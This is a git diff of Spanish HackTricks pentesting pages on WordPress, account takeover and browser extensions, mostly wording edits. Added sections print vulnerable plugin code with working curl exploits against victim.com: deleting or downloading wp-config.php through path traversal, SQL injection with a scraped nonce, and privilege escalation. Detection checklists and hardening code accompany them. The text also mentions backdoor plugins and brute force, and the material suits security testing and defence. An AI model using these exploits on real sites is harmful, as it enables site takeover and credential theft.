-También hay una **manera más rápida** de forzar credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
+También hay una **manera más rápida** de realizar un ataque de fuerza bruta a las credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
@@ -193,7 +191,7 @@ Esto se puede usar para pedir a **miles** de **sitios** de Wordpress que **acced
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
-Mira el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
+Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
**DDoS**
```html
@@ -225,6 +223,7 @@ Esta es la respuesta cuando no funciona:
## SSRF
+
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
@@ -273,7 +272,7 @@ Crea tu puerta trasera en php usando, por ejemplo:
.png>)
-Luego agrega un nuevo plugin:
+Luego añade un nuevo plugin:
.png>)
@@ -295,7 +294,7 @@ Accede a ella y verás la URL para ejecutar la shell inversa:
### Subiendo y activando un plugin malicioso
-Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera:
+Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera:
1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del Plugin**:
@@ -304,7 +303,7 @@ Este método implica la instalación de un plugin malicioso conocido por ser vul
3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel.
4. **Explotación**:
- Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
-- El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
+- El marco de Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress.
El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
@@ -313,8 +312,8 @@ El contenido incluye ayudas visuales que representan los pasos en el panel de Wo
## De XSS a RCE
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para las versiones de Wordpress 6.X.X, 5.X.X y 4.X.X y permite:**
-- _**Escalación de Privilegios:**_ Crea un usuario en WordPress.
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:**
+- _**Escalado de Privilegios:**_ Crea un usuario en WordPress.
- _**(RCE) Subida de Plugin Personalizado (puerta trasera):**_ Sube tu plugin personalizado (puerta trasera) a WordPress.
- _**(RCE) Edición de Plugin Incorporado:**_ Edita un Plugin Incorporado en WordPress.
- _**(RCE) Edición de Tema Incorporado:**_ Edita un Tema Incorporado en WordPress.
@@ -338,7 +337,7 @@ Conocer cómo un plugin de Wordpress puede exponer funcionalidad es clave para e
- **`wp_ajax`**
-Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de manejadores AJAX. Estos podrían contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un nonce de Wordpress que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
+Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de controladores AJAX. Estos podrían contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un nonce de Wordpress que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Estas son las funciones que se pueden usar para exponer una función en un plugin:
```php
@@ -352,7 +351,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
- **REST API**
-También es posible exponer funciones de WordPress registrando un REST AP utilizando la función `register_rest_route`:
+También es posible exponer funciones de WordPress registrando un REST API utilizando la función `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@@ -368,7 +367,147 @@ El `permission_callback` es una función de retorno que verifica si un usuario d
- **Acceso directo al archivo php**
-Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Por lo tanto, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se active simplemente accediendo al archivo, será explotable por cualquier usuario.
+Por supuesto, Wordpress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
+
+### Eliminación de Archivos Arbitrarios No Autenticada a través de wp_ajax_nopriv (Tema Litho <= 3.0)
+
+Los temas y plugins de WordPress frecuentemente exponen controladores AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando se utiliza la variante **_nopriv_**, **el callback se vuelve accesible para visitantes no autenticados**, por lo que cualquier acción sensible debe implementar además:
+
+1. Una **verificación de capacidad** (por ejemplo, `current_user_can()` o al menos `is_user_logged_in()`), y
+2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y
+3. **Saneamiento / validación estricta de entradas**.
+
+El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la función *Eliminar Familia de Fuentes* y terminó enviando el siguiente código (simplificado):
+```php
+function litho_remove_font_family_action_data() {
+if ( empty( $_POST['fontfamily'] ) ) {
+return;
+}
+$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
+$upload_dir = wp_upload_dir();
+$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
+$filesystem = Litho_filesystem::init_filesystem();
+
+if ( file_exists( $srcdir ) ) {
+$filesystem->delete( $srcdir, FS_CHMOD_DIR );
+}
+die();
+}
+add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
+add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
+```
+Problemas introducidos por este fragmento:
+
+* **Acceso no autenticado** – se registra el gancho `wp_ajax_nopriv_`.
+* **Sin verificación de nonce / capacidad** – cualquier visitante puede acceder al endpoint.
+* **Sin saneamiento de ruta** – la cadena `fontfamily` controlada por el usuario se concatena a una ruta del sistema de archivos sin filtrado, lo que permite la clásica travesía `../../`.
+
+#### Explotación
+
+Un atacante puede eliminar cualquier archivo o directorio **debajo del directorio base de uploads** (normalmente `/wp-content/uploads/`) enviando una única solicitud HTTP POST:
+```bash
+curl -X POST https://victim.com/wp-admin/admin-ajax.php \
+-d 'action=litho_remove_font_family_action_data' \
+-d 'fontfamily=../../../../wp-config.php'
+```
+Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias de `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` obliga a WordPress a entrar en el *asistente de instalación* en la próxima visita, permitiendo una toma de control total del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario administrador).
+
+Otros objetivos impactantes incluyen archivos `.php` de plugins/temas (para romper plugins de seguridad) o reglas de `.htaccess`.
+
+#### Lista de verificación de detección
+
+* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que llame a ayudantes del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
+* Concatenación de entrada de usuario no sanitizada en rutas (busque `$_POST`, `$_GET`, `$_REQUEST`).
+* Ausencia de `check_ajax_referer()` y `current_user_can()`/`is_user_logged_in()`.
+
+#### Endurecimiento
+```php
+function secure_remove_font_family() {
+if ( ! is_user_logged_in() ) {
+wp_send_json_error( 'forbidden', 403 );
+}
+check_ajax_referer( 'litho_fonts_nonce' );
+
+$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
+$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
+
+if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
+wp_send_json_error( 'invalid path', 400 );
+}
+// … proceed …
+}
+add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
+// 🔒 NO wp_ajax_nopriv_ registration
+```
+> [!TIP]
+> **Siempre** trata cualquier operación de escritura/borrado en el disco como privilegiada y verifica dos veces:
+> • Autenticación • Autorización • Nonce • Saneamiento de entrada • Contención de ruta (por ejemplo, a través de `realpath()` más `str_starts_with()`).
+
+---
+
+### Escalación de privilegios a través de la restauración de roles obsoletos y autorización faltante (ASE "Ver Admin como Rol")
+
+Muchos plugins implementan una función de "ver como rol" o cambio temporal de rol guardando el/los rol(es) original(es) en los metadatos del usuario para que puedan ser restaurados más tarde. Si la ruta de restauración se basa únicamente en parámetros de solicitud (por ejemplo, `$_REQUEST['reset-for']`) y una lista mantenida por el plugin sin verificar capacidades y un nonce válido, esto se convierte en una escalación de privilegios vertical.
+
+Un ejemplo del mundo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reinicio restauró roles basados en `reset-for=` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizó una verificación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a agregar los roles guardados de los metadatos del usuario `_asenha_view_admin_as_original_roles`:
+```php
+// Simplified vulnerable pattern
+if ( isset( $_REQUEST['reset-for'] ) ) {
+$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
+$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
+
+if ( in_array( $reset_for_username, $usernames, true ) ) {
+$u = get_user_by( 'login', $reset_for_username );
+foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
+$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
+foreach ( $orig as $r ) { $u->add_role( $r ); }
+}
+}
+```
+Por qué es explotable
+
+- Confía en `$_REQUEST['reset-for']` y una opción de plugin sin autorización del lado del servidor.
+- Si un usuario anteriormente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reinicio.
+- En algunas implementaciones, cualquier usuario autenticado podría activar un reinicio para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota).
+
+Requisitos previos para el ataque
+
+- Versión vulnerable del plugin con la función habilitada.
+- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en los metadatos del usuario de un uso anterior.
+- Cualquier sesión autenticada; falta nonce/capacidad en el flujo de reinicio.
+
+Explotación (ejemplo)
+```bash
+# While logged in as the downgraded user (or any auth user able to trigger the code path),
+# hit any route that executes the role-switcher logic and include the reset parameter.
+# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
+curl -s -k -b 'wordpress_logged_in=...' \
+'https://victim.example/wp-admin/?reset-for='
+```
+En compilaciones vulnerables, esto elimina los roles actuales y vuelve a agregar los roles originales guardados (por ejemplo, `administrator`), escalando efectivamente los privilegios.
+
+Lista de verificación de detección
+
+- Busque características de cambio de rol que persistan "roles originales" en los metadatos del usuario (por ejemplo, `_asenha_view_admin_as_original_roles`).
+- Identifique rutas de restablecimiento/restauración que:
+ - Lean nombres de usuario de `$_REQUEST` / `$_GET` / `$_POST`.
+ - Modifiquen roles a través de `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
+ - Autoricen basándose en un array de opciones del plugin (por ejemplo, `viewing_admin_as_role_are`) en lugar de las capacidades del actor.
+
+Fortalecimiento
+
+- Haga cumplir las verificaciones de capacidad en cada rama que cambie el estado (por ejemplo, `current_user_can('manage_options')` o más estrictas).
+- Requiera nonces para todas las mutaciones de rol/permisos y verifíquelos: `check_admin_referer()` / `wp_verify_nonce()`.
+- Nunca confíe en los nombres de usuario proporcionados por la solicitud; resuelva el usuario objetivo del lado del servidor basado en el actor autenticado y la política explícita.
+- Invalide el estado de "roles originales" en actualizaciones de perfil/rol para evitar la restauración de privilegios altos obsoletos:
+```php
+add_action( 'profile_update', function( $user_id ) {
+delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
+}, 10, 1 );
+```
+- Considera almacenar un estado mínimo y usar tokens limitados en el tiempo y protegidos por capacidades para cambios de rol temporales.
+
+---
## Protección de WordPress
@@ -394,6 +533,69 @@ También, **solo instala plugins y temas de WordPress confiables**.
- Usa **contraseñas fuertes** y **2FA**
- Revisa periódicamente los **permisos** de los usuarios
- **Limita los intentos de inicio de sesión** para prevenir ataques de Fuerza Bruta
-- Cambia el nombre del archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP.
+- Renombra el archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP.
+
+### Inyección SQL no autenticada a través de validación insuficiente (WP Job Portal <= 2.3.2)
+
+El plugin de reclutamiento WP Job Portal expuso una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
+```php
+$category = WPJOBPORTALrequest::getVar('parentid');
+$inquery = ' ';
+if ($category) {
+$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
+}
+$query = "SELECT max(ordering)+1 AS maxordering FROM "
+. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
+```
+Problemas introducidos por este fragmento:
+
+1. **Entrada de usuario no sanitizada** – `parentid` proviene directamente de la solicitud HTTP.
+2. **Concatenación de cadenas dentro de la cláusula WHERE** – sin `is_numeric()` / `esc_sql()` / declaración preparada.
+3. **Accesibilidad no autenticada** – aunque la acción se ejecuta a través de `admin-post.php`, la única verificación en su lugar es un **nonce CSRF** (`wp_verify_nonce()`), que cualquier visitante puede recuperar de una página pública que incruste el shortcode `[wpjobportal_my_resumes]`.
+
+#### Explotación
+
+1. Obtén un nonce fresco:
+```bash
+curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
+```
+2. Inyecta SQL arbitrario abusando de `parentid`:
+```bash
+curl -X POST https://victim.com/wp-admin/admin-post.php \
+-d 'task=savecategory' \
+-d '_wpnonce=' \
+-d 'parentid=0 OR 1=1-- -' \
+-d 'cat_title=pwn' -d 'id='
+```
+La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.
+
+
+### Descarga de Archivos Arbitrarios No Autenticada / Traversal de Ruta (WP Job Portal <= 2.3.2)
+
+Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** a través de traversal de ruta. El sumidero vulnerable se encuentra en `modules/customfield/model.php::downloadCustomUploadedFile()`:
+```php
+$file = $path . '/' . $file_name;
+...
+echo $wp_filesystem->get_contents($file); // raw file output
+```
+`$file_name` es controlado por el atacante y se concatena **sin sanitización**. Nuevamente, la única barrera es un **nonce CSRF** que se puede obtener de la página de currículum.
+
+#### Explotación
+```bash
+curl -G https://victim.com/wp-admin/admin-post.php \
+--data-urlencode 'task=downloadcustomfile' \
+--data-urlencode '_wpnonce=' \
+--data-urlencode 'upload_for=resume' \
+--data-urlencode 'entity_id=1' \
+--data-urlencode 'file_name=../../../wp-config.php'
+```
+El servidor responde con el contenido de `wp-config.php`, filtrando las credenciales de la base de datos y las claves de autenticación.
+
+## Referencias
+
+- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
+- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
+- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
+- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md
index 649551c2e..3c9d020a1 100644
--- a/src/pentesting-web/account-takeover.md
+++ b/src/pentesting-web/account-takeover.md
@@ -4,20 +4,20 @@
## **Problema de Autorización**
-Se debe intentar cambiar el correo electrónico de una cuenta, y el proceso de confirmación **debe ser examinado**. Si se encuentra **débil**, el correo electrónico debe ser cambiado al del víctima previsto y luego confirmado.
+Se debe intentar cambiar el correo electrónico de una cuenta, y el proceso de confirmación **debe ser examinado**. Si se encuentra **débil**, el correo electrónico debe ser cambiado al del objetivo y luego confirmado.
## **Problema de Normalización de Unicode**
-1. La cuenta del víctima previsto `victim@gmail.com`
+1. La cuenta del objetivo `victim@gmail.com`
2. Se debe crear una cuenta usando Unicode\
por ejemplo: `vićtim@gmail.com`
Como se explicó en [**esta charla**](https://www.youtube.com/watch?v=CiIyaZ3x49c), el ataque anterior también podría realizarse abusando de proveedores de identidad de terceros:
-- Crear una cuenta en el proveedor de identidad de terceros con un correo electrónico similar al del víctima usando algún carácter unicode (`vićtim@company.com`).
+- Crear una cuenta en el proveedor de identidad de terceros con un correo electrónico similar al del objetivo usando algún carácter unicode (`vićtim@company.com`).
- El proveedor de terceros no debería verificar el correo electrónico.
-- Si el proveedor de identidad verifica el correo electrónico, tal vez puedas atacar la parte del dominio como: `victim@ćompany.com` y registrar ese dominio y esperar que el proveedor de identidad genere la versión ascii del dominio mientras la plataforma del víctima normaliza el nombre de dominio.
-- Iniciar sesión a través de este proveedor de identidad en la plataforma del víctima que debería normalizar el carácter unicode y permitirte acceder a la cuenta del víctima.
+- Si el proveedor de identidad verifica el correo electrónico, tal vez puedas atacar la parte del dominio como: `victim@ćompany.com` y registrar ese dominio y esperar que el proveedor de identidad genere la versión ascii del dominio mientras la plataforma del objetivo normaliza el nombre de dominio.
+- Iniciar sesión a través de este proveedor de identidad en la plataforma del objetivo que debería normalizar el carácter unicode y permitirte acceder a la cuenta del objetivo.
Para más detalles, consulta el documento sobre Normalización de Unicode:
@@ -31,9 +31,9 @@ Si el sistema objetivo permite que el **enlace de restablecimiento sea reutiliza
## **Pre Toma de Control de Cuenta**
-1. El correo electrónico del víctima debe ser utilizado para registrarse en la plataforma, y se debe establecer una contraseña (se debe intentar confirmarla, aunque carecer de acceso a los correos del víctima podría hacer esto imposible).
-2. Se debe esperar hasta que el víctima se registre usando OAuth y confirme la cuenta.
-3. Se espera que el registro regular sea confirmado, permitiendo el acceso a la cuenta del víctima.
+1. Se debe usar el correo electrónico de la víctima para registrarse en la plataforma, y se debe establecer una contraseña (se debe intentar confirmarla, aunque la falta de acceso a los correos de la víctima podría hacer esto imposible).
+2. Se debe esperar hasta que la víctima se registre usando OAuth y confirme la cuenta.
+3. Se espera que el registro regular sea confirmado, permitiendo el acceso a la cuenta de la víctima.
## **Configuración Incorrecta de CORS para Toma de Control de Cuenta**
@@ -59,9 +59,9 @@ Si encuentras un XSS en la aplicación, podrías ser capaz de robar cookies, alm
xss-cross-site-scripting/
{{#endref}}
-## **Same Origin + Cookies**
+## **Misma Origen + Cookies**
-Si encuentras un XSS limitado o una toma de control de subdominio, podrías jugar con las cookies (fijándolas, por ejemplo) para intentar comprometer la cuenta del víctima:
+Si encuentras un XSS limitado o una toma de control de subdominio, podrías jugar con las cookies (fijándolas, por ejemplo) para intentar comprometer la cuenta de la víctima:
{{#ref}}
hacking-with-cookies/
@@ -75,7 +75,7 @@ reset-password.md
## **Manipulación de Respuesta**
-Si la respuesta de autenticación podría ser **reducida a un simple booleano, solo intenta cambiar falso a verdadero** y ver si obtienes algún acceso.
+Si la respuesta de autenticación podría ser **reducida a un simple booleano, solo intenta cambiar falso a verdadero** y ver si obtienes acceso.
## OAuth para Toma de Control de Cuenta
@@ -105,13 +105,13 @@ De [este informe](https://dynnyd20.medium.com/one-click-account-take-over-e50092
- El atacante solicita cambiar su correo electrónico por uno nuevo.
- El atacante recibe un enlace para confirmar el cambio de correo electrónico.
-- El atacante envía el enlace al víctima para que lo haga clic.
-- El correo electrónico del víctima se cambia al indicado por el atacante.
+- El atacante envía el enlace a la víctima para que lo haga clic.
+- El correo electrónico de la víctima se cambia al indicado por el atacante.
- El atacante puede recuperar la contraseña y tomar el control de la cuenta.
Esto también ocurrió en [**este informe**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
-### Bypass de verificación de correo electrónico para Toma de Control de Cuenta
+### Omitir verificación de correo electrónico para Toma de Control de Cuenta
- El atacante inicia sesión con attacker@test.com y verifica el correo electrónico al registrarse.
- El atacante cambia el correo electrónico verificado a victim@test.com (sin verificación secundaria en el cambio de correo electrónico).
- Ahora el sitio web permite que victim@test.com inicie sesión y hemos eludido la verificación de correo electrónico del usuario víctima.
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index 2ed90e062..483435607 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -4,17 +4,17 @@
## Información Básica
-Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su propio [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
+Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
## Componentes Principales
-Los diseños de extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.
+Los diseños de las extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.
### **Scripts de Contenido**
-Cada script de contenido tiene acceso directo al DOM de una **única página web** y está expuesto a **posibles entradas maliciosas**. Sin embargo, el script de contenido no contiene permisos más allá de la capacidad de enviar mensajes al núcleo de la extensión.
+Cada script de contenido tiene acceso directo al DOM de una **única página web** y, por lo tanto, está expuesto a **entrada potencialmente maliciosa**. Sin embargo, el script de contenido no contiene permisos más allá de la capacidad de enviar mensajes al núcleo de la extensión.
### **Núcleo de la Extensión**
@@ -22,12 +22,12 @@ El núcleo de la extensión contiene la mayoría de los privilegios/accesos de l
### **Binario Nativo**
-La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
+La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones estándar de Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
### Límites
> [!CAUTION]
-> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entradas maliciosas desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
+> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
@@ -35,7 +35,7 @@ Además, los scripts de contenido están separados de sus páginas web asociadas
## **`manifest.json`**
-Una extensión de Chrome es solo una carpeta ZIP con una [.crx file extension](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el **`manifest.json`** archivo en la raíz de la carpeta, que especifica el diseño, permisos y otras opciones de configuración.
+Una extensión de Chrome es solo una carpeta ZIP con una [.crx file extension](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el archivo **`manifest.json`** en la raíz de la carpeta, que especifica el diseño, permisos y otras opciones de configuración.
Ejemplo:
```json
@@ -61,7 +61,7 @@ Ejemplo:
```
### `content_scripts`
-Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
+Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
```json
"content_scripts": [
{
@@ -78,7 +78,7 @@ Los scripts de contenido se **cargan** cada vez que el usuario **navega a una p
```
Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
-Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor de `message` del almacenamiento de la extensión.
+Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor `message` del almacenamiento de la extensión.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@@ -91,7 +91,7 @@ document.body.appendChild(div)
```
-Un mensaje se envía a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse.
+Un mensaje es enviado a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse.
> [!WARNING]
> Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
@@ -104,9 +104,9 @@ Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en
### Scripts de contenido inyectados
> [!TIP]
-> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto en realidad proporciona más **controles granulares**.
+> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto proporciona en realidad más **controles granulares**.
-Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden asegurarse ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
+Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden ser asegurados ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Ejemplo de extensión basada en activeTab
```json:manifest.json
@@ -243,10 +243,10 @@ Las extensiones de navegador pueden contener varios tipos de páginas:
-Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según la necesidad. A pesar de esto, comparten ciertas capacidades con la página de fondo:
